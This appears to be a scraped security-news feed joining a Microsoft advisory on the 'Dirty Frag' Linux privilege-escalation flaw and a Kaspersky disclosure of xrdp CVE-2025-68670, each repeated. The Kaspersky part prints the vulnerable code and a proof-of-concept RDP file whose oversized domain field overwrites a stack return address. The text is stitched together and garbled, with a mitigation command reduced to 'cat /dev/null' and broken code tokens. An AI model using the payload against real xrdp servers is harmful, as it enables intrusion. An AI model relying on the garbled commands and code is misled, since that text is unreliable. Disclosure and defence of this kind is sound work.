  • Increase monitoring for abnormal privilege escalation activity
  • Prioritize kernel patch deployment once vendor advisories are released

The following example prevents vulnerable modules from loading and unloads active modules where possible:

cat /dev/null

These mitigations should be carefully evaluated before deployment, particularly in environments relying on IPsec VPNs or RxRPC functionality.

Post-mitigation integrity verification

Mitigation alone may not reverse changes already introduced through successful exploitation attempts.

If exploitation occurred prior to mitigation, malicious modifications may persist in memory or cached file content even after vulnerable modules are disabled. Organizations should validate the integrity of critical files and assess whether cache clearing is appropriate for their environment.

echo 3 | sudo tee /proc/sys/vm/drop_caches

Cache clearing can temporarily increase disk I/O and impact production performance and should be evaluated carefully before deployment.

Microsoft Defender coverage

Microsoft Defender XDR customers can refer to theΒ followingΒ list of applicable detections below that provides coverage for behaviors surrounding β€œDirty Frag” exploitation.

Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.Β 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.Β 

TacticΒ Observed activityΒ Microsoft Defender coverageΒ 
ExecutionΒ Exploitation ofΒ β€œDirty Frag” Microsoft DefenderΒ AntivirusΒ Β 
-β€―Β Exploit:Linux/DirtyFrag.AΒ 
– Trojan:Linux/DirtyFrag.Z!MTBΒ 
– Trojan:Linux/DirtyFrag.ZA!MTBΒ 
– Trojan:Linux/DirtyFrag.ZC!MTBΒ 
– Trojan:Linux/DirtyFrag.DA!MTBΒ 
– Exploit:Linux/DirtyFrag.BΒ 

Microsoft Defender for EndpointΒ 
– Suspicious SUID/SGIDΒ processΒ launchΒ 

Microsoft Defender forΒ CloudΒ 
– Potential exploitation ofΒ dirtyfragΒ vulnerability detectedΒ 

Microsoft Defender Vulnerability Management
– Microsoft Defender Vulnerability Management surfaces devices vulnerable to β€œDirty Frag” which are linked to the following CVEs:

CVE-2026-43284
CVE-2026-43500
CVE-2026-46300

Advanced hunting query

Customers can use this advanced hunting query to surface possible exploitation.

let fragnesia = DeviceProcessEvents
| where Timestamp >= ago(1d)
| where ProcessCommandLine has "fragnesia"
| distinct DeviceId
;
let lpeModuleTerms = dynamic(["algif-skcipher","net-pf-38","crypto-seqiv(rfc4106(gcm(aes)))","xfrm-type-10-50"]);
DeviceProcessEvents
  | where Timestamp >= ago(1d)
  | where DeviceId in (fragnesia)
  | where ProcessCommandLine has_any (lpeModuleTerms)
  | distinct DeviceId

Microsoft Defender Threat Intelligence

Microsoft Defender Threat Intelligence published a threat analytics article and a vulnerability profile for this vulnerability

Microsoft Defender Antivirus

  • Exploit:Linux/DirtyFrag.A
  • Exploit:Linux/DirtyFrag.B
  • Trojan:Linux/DirtyFrag.Z!MTB
  • Trojan:Linux/DirtyFrag.ZA!MTB
  • Trojan:Linux/DirtyFrag.ZC!MTB
  • Trojan:Linux/DirtyFrag.DA!MTB

Microsoft Defender for Cloud

  • Potential exploitation of dirtyfrag vulnerability detected

Microsoft continues investigating additional detections, telemetry correlations, and posture guidance related to Dirty Frag activity.

Further investigation is being conducted by Microsoft DefenderΒ towards providing stronger protection and posture recommendations is in progress.

References

Read about CopyFail (CVE-2026-31431), including mitigation and detection guidance here: https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation/.Β 

The post Active attack: Dirty Frag Linux vulnerability expands post-compromise risk appeared first on Microsoft Security Blog.

  •  

New β€˜Dirty Frag’ Linux Vulnerability Possibly Exploited in Attacks

Also called Copy Fail 2 and tracked as CVE-2026-43284 and CVE-2026-43500, the exploit was disclosed before a patch was released.

The post New β€˜Dirty Frag’ Linux Vulnerability Possibly Exploited in Attacks appeared first on SecurityWeek.

  •  

Active attack: Dirty Frag Linux vulnerability expands post-compromise risk

A newly disclosed Linux local privilege escalation vulnerability known as β€œDirty Frag” enables escalation from an unprivileged user to root through vulnerable kernel networking and memory-fragment handling components, including esp4, esp6 (CVE-2026-43284), and rxrpc (CVE-2026-43500). Public reporting and proof-of-concept activity indicate the exploit is designed to provide more reliable privilege escalation than traditional race-condition-dependent Linux local privilege escalation techniques.

Dirty Frag may be leveraged after initial compromise through SSH access, web-shell execution, container escape, or compromise of a low-privileged account. Affected environments may include Ubuntu, RHEL, CentOS Stream, AlmaLinux, Fedora, openSUSE, and OpenShift deployments. Microsoft Defender is actively monitoring related activity and investigating additional detections and protections.


This article details an ongoing investigation into active campaign. We will update this report as new details emerge.


Why Dirty Frag matters

Local privilege escalation vulnerabilities are frequently used by threat actors after initial access to expand control over a compromised environment. Once root access is obtained, attackers can disable security tooling, access sensitive credentials, tamper with logs, pivot laterally, and establish persistent access.

Dirty Frag is notable because it introduces multiple kernel attack paths involving rxrpc and esp/xfrm networking components to improve exploitation reliability. Rather than relying on narrow timing windows or unstable corruption conditions often associated with Linux local privilege escalation exploits, Dirty Frag appears designed to increase consistency across vulnerable environments.

This increases operational risk in environments where threat actors already possess limited local execution capability through compromised accounts, vulnerable applications, containers, or exposed administrative interfaces.

Technical overview

Dirty Frag abuses Linux kernel networking and memory-fragment handling behavior involving esp4, esp6, and rxrpc components. Similar to the previously disclosed CopyFail vulnerability (CVE-2026-31431), the exploit attempts to manipulate Linux page cache behavior to achieve privilege escalation. However, Dirty Frag introduces additional attack paths that expand exploitation opportunities and improve reliability.

The vulnerability affects systems where vulnerable modules are present and accessible. In many enterprise environments, these components may already be enabled to support IPsec, VPN functionality, or other networking workloads.

Exploitation scenarios

Threat actors may leverage Dirty Frag after obtaining local code execution through several common intrusion paths, including:

  • Compromised SSH accounts
  • Web-shell access on internet-facing applications
  • Container escapes into the host environment
  • Abuse of low-privileged service accounts
  • Post-exploitation activity following phishing or remote access compromise

Once local access is established, successful exploitation may allow attackers to escalate privileges to root and gain broad control over the affected Linux host.

Limited In-The-Wild Exploitation

Microsoft Defender is currently seeing limited in-the-wild activity where privilege escalation involving β€˜su’ is observed, and which may be indicative of techniques associated with either β€œDirty Frag” or β€œCopy Fail”.

The campaign shows a sequential attack timeline where an external connection gains SSH access and spawns an interactive shell, followed by staging and execution of an ELF binary (./update) that immediately triggers a privilege escalation via β€˜su’.

After gaining elevated access, the actor modifies a GLPI LDAP authentication file (evidenced by a .swp file from vim), performs reconnaissance of the GLPI directory and system configuration, and inspects an exploit artifact. The activity then shifts to accessing sensitive data and interacting with PHP session files β€” first deleting multiple session files and then forcefully wiping additional ones β€” before reading remaining session data, indicating both disruption of active sessions and access to session contents.

Mitigation guidance

The Linux Kernel Organization released patches, which are linked at theΒ National Vulnerability DatabaseΒ (NVD), to fix CVE-2026-43284 on May 8, 2026. Customers who have not applied these patches are urged to do so as soon as possible. As of May 8, 2026, patches for CVE-2026-43500 are not available. CVE-2026-43500 is reportedly reserved for the RxRPC issue but is not yet published in NVD.

While comprehensive remediation guidance continues to evolve, organizations should evaluate interim mitigations immediately.

Recommended actions include:

  • Disable unused rxrpc kernel modules where operationally possible
  • Assess whether esp4, esp6, and related xfrm/IPsec functionality can be temporarily disabled safely
  • Restrict unnecessary local shell access
  • Harden containerized workloads
  • Increase monitoring for abnormal privilege escalation activity
  • Prioritize kernel patch deployment once vendor advisories are released

The following example prevents vulnerable modules from loading and unloads active modules where possible:

cat /dev/null

These mitigations should be carefully evaluated before deployment, particularly in environments relying on IPsec VPNs or RxRPC functionality.

Post-mitigation integrity verification

Mitigation alone may not reverse changes already introduced through successful exploitation attempts.

If exploitation occurred prior to mitigation, malicious modifications may persist in memory or cached file content even after vulnerable modules are disabled. Organizations should validate the integrity of critical files and assess whether cache clearing is appropriate for their environment.

echo 3 | sudo tee /proc/sys/vm/drop_caches

Cache clearing can temporarily increase disk I/O and impact production performance and should be evaluated carefully before deployment.

Microsoft Defender coverage

Microsoft Defender XDR customers can refer to theΒ followingΒ list of applicable detections below that provides coverage for behaviors surrounding β€œDirty Flag” exploitation.

Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.Β 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.Β 

TacticΒ Observed activityΒ Microsoft Defender coverageΒ 
ExecutionΒ Exploitation ofΒ β€œDirty Frag” Microsoft DefenderΒ AntivirusΒ Β 
-β€―Β Exploit:Linux/DirtyFrag.AΒ 
– Trojan:Linux/DirtyFrag.Z!MTBΒ 
– Trojan:Linux/DirtyFrag.ZA!MTBΒ 
– Trojan:Linux/DirtyFrag.ZC!MTBΒ 
– Trojan:Linux/DirtyFrag.DA!MTBΒ 
– Exploit:Linux/DirtyFrag.BΒ 

Microsoft Defender for EndpointΒ 
– Suspicious SUID/SGIDΒ processΒ launchΒ 

Microsoft Defender forΒ CloudΒ 
– Potential exploitation ofΒ dirtyfragΒ vulnerability detectedΒ 

Microsoft Defender Vulnerability Management
– Microsoft Defender Vulnerability Management surfaces devices vulnerable to β€œDirty Frag” which are linked to the following CVEs:
CVE-2026-43284
CVE-2026-43500

Microsoft Defender Threat Intelligence

Microsoft Defender Threat Intelligence published a threat analytics article and a vulnerability profile for this vulnerability

Microsoft Defender Antivirus

  • Exploit:Linux/DirtyFrag.A
  • Exploit:Linux/DirtyFrag.B
  • Trojan:Linux/DirtyFrag.Z!MTB
  • Trojan:Linux/DirtyFrag.ZA!MTB
  • Trojan:Linux/DirtyFrag.ZC!MTB
  • Trojan:Linux/DirtyFrag.DA!MTB

Microsoft Defender for Cloud

  • Potential exploitation of dirtyfrag vulnerability detected

Microsoft continues investigating additional detections, telemetry correlations, and posture guidance related to Dirty Frag activity.

Further investigation is being conducted by Microsoft DefenderΒ towards providing stronger protection and posture recommendations is in progress.

References

Read about CopyFail (CVE-2026-31431), including mitigation and detection guidance here: https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation/.Β 

The post Active attack: Dirty Frag Linux vulnerability expands post-compromise risk appeared first on Microsoft Security Blog.

  •  

CVE-2025-68670: discovering an RCE vulnerability in xrdp

In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:

{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}

The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:

#define INFO_CLIENT_MAX_CB_LEN 512

When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.

if (ts_info_utf16_in( // [1]
            s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) // [2]
{
[..SNIP..]
}

The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].

static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
   int rv = 0;
   LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
   if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
   {
       rv = 1;
   }
   else
   {
       int term;
       int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
                                                 dst, dst_len); 
       if (num_chars > dst_len) // [3]
       {
           LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
       }
       / / String should be null-terminated. We haven't read the terminator yet
       in_uint16_le(s, term);
       if (term != 0)
       {
           LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
           rv = 1;
       }
   }
   return rv;
}

Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].

{
   unsigned int rv = 0;
   char32_t c32;
   char u8str[MAXLEN_UTF8_CHAR];
   unsigned int u8len;
   char *saved_s_end = s->end;

   // Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
   parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
   // Temporarily set the stream end pointer to allow us to use
   // s_check_rem() when reading in UTF-16 words
   if (s->end - s->p > (int)(n * 2))
   {
       s->end = s->p + (int)(n * 2);
   }

   while (s_check_rem(s, 2))
   {
       c32 = get_c32_from_stream(s);
       u8len = utf_char32_to_utf8(c32, u8str);
       if (u8len + 1 <= vn) // [4]
       {
           /* Room for this character and a terminator. Add the character */
           unsigned int i;
           for (i = 0 ; i < u8len ; ++i)
           {
               v[i] = u8str[i];
           }

           v n -= u8len;
           v += u8len;
       }

       else if (vn > 1)
       {
           /* We've skipped a character, but there's more than one byte
           * remaining in the output buffer. Mark the output buffer as
           * full so we don't get a smaller character being squeezed into
           * the remaining space */
           vn = 1;
       }

       r v += u8len;
   }
   // Restore stream to full length s->end = saved_s_end;
   if (vn > 0)
   {
       *v = '\0'; // [5]
   }
   + +rv;
   return rv;
}

Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.

x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
     int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)

The code snippet where the vulnerable function is called looks like this:

char resultIP[256]; // [7]
[..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
    self->session->client_info->domain, // [6]
    combo->data_list->count, 1,
    resultIP /* just a dummy place holder, we ignore
*/ );

As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.

static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
                                                              int decode, char *resultBuffer)
{
    int ret;
    int pos;
    int comboxindex;
    char index[2];

    /* If the first char in the domain name is '_' we use the domain name as IP*/
    ret = 0; /* default return value */
    /* resultBuffer assumed to be 256 chars */
    g_memset(resultBuffer, 0, 256);
    if (originalDomainInfo[0] == '_') // [8]
    {
        /* we try to locate a number indicating what combobox index the user
         * prefer the information is loaded from domain field, from the client
         * We must use valid chars in the domain name.
         * Underscore is a valid name in the domain.
         * Invalid chars are ignored in microsoft client therefore we use '_'
         * again. this sec '__' contains the split for index.*/
        pos = g_pos(&originalDomainInfo[1], "__"); // [9]
        if (pos > 0)
        {
            /* an index is found we try to use it */
            LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
            if (decode)
            {
                [..SNIP..]
            }
            / * pos limit the String to only contain the IP */
            g_strncpy(resultBuffer, &originalDomainInfo[1], pos); // [10]
        }
        else
        {
            LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
            g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
        }
    }
    return ret;
}

As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (β€œ__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial β€œ_” and the subsequent β€œ__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string β€œAAAAAAAA”. The contents of the RDP file are shown below:

alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser

When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.

gef➀ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()

Protection against vulnerability exploitation

It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

Vulnerability remediation timeline

  • 12/05/2025: we submitted the vulnerability report via https://github.com/neutrinolabs/xrdp/security.
  • 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
  • 12/15/2025: investigation and prioritization of the vulnerability began.
  • 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
  • 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
  • 01/27/2026: the patch was merged into the project’s main branch.

Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

  •  

CVE-2025-68670: discovering an RCE vulnerability in xrdp

In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:

{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}

The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:

#define INFO_CLIENT_MAX_CB_LEN 512

When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.

if (ts_info_utf16_in( // [1]
            s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) // [2]
{
[..SNIP..]
}

The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].

static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
   int rv = 0;
   LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
   if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
   {
       rv = 1;
   }
   else
   {
       int term;
       int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
                                                 dst, dst_len); 
       if (num_chars > dst_len) // [3]
       {
           LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
       }
       / / String should be null-terminated. We haven't read the terminator yet
       in_uint16_le(s, term);
       if (term != 0)
       {
           LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
           rv = 1;
       }
   }
   return rv;
}

Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].

{
   unsigned int rv = 0;
   char32_t c32;
   char u8str[MAXLEN_UTF8_CHAR];
   unsigned int u8len;
   char *saved_s_end = s->end;

   // Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
   parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
   // Temporarily set the stream end pointer to allow us to use
   // s_check_rem() when reading in UTF-16 words
   if (s->end - s->p > (int)(n * 2))
   {
       s->end = s->p + (int)(n * 2);
   }

   while (s_check_rem(s, 2))
   {
       c32 = get_c32_from_stream(s);
       u8len = utf_char32_to_utf8(c32, u8str);
       if (u8len + 1 <= vn) // [4]
       {
           /* Room for this character and a terminator. Add the character */
           unsigned int i;
           for (i = 0 ; i < u8len ; ++i)
           {
               v[i] = u8str[i];
           }

           v n -= u8len;
           v += u8len;
       }

       else if (vn > 1)
       {
           /* We've skipped a character, but there's more than one byte
           * remaining in the output buffer. Mark the output buffer as
           * full so we don't get a smaller character being squeezed into
           * the remaining space */
           vn = 1;
       }

       r v += u8len;
   }
   // Restore stream to full length s->end = saved_s_end;
   if (vn > 0)
   {
       *v = '\0'; // [5]
   }
   + +rv;
   return rv;
}

Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.

x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
     int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)

The code snippet where the vulnerable function is called looks like this:

char resultIP[256]; // [7]
[..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
    self->session->client_info->domain, // [6]
    combo->data_list->count, 1,
    resultIP /* just a dummy place holder, we ignore
*/ );

As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.

static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
                                                              int decode, char *resultBuffer)
{
    int ret;
    int pos;
    int comboxindex;
    char index[2];

    /* If the first char in the domain name is '_' we use the domain name as IP*/
    ret = 0; /* default return value */
    /* resultBuffer assumed to be 256 chars */
    g_memset(resultBuffer, 0, 256);
    if (originalDomainInfo[0] == '_') // [8]
    {
        /* we try to locate a number indicating what combobox index the user
         * prefer the information is loaded from domain field, from the client
         * We must use valid chars in the domain name.
         * Underscore is a valid name in the domain.
         * Invalid chars are ignored in microsoft client therefore we use '_'
         * again. this sec '__' contains the split for index.*/
        pos = g_pos(&originalDomainInfo[1], "__"); // [9]
        if (pos > 0)
        {
            /* an index is found we try to use it */
            LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
            if (decode)
            {
                [..SNIP..]
            }
            / * pos limit the String to only contain the IP */
            g_strncpy(resultBuffer, &originalDomainInfo[1], pos); // [10]
        }
        else
        {
            LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
            g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
        }
    }
    return ret;
}

As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (β€œ__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial β€œ_” and the subsequent β€œ__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string β€œAAAAAAAA”. The contents of the RDP file are shown below:

alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser

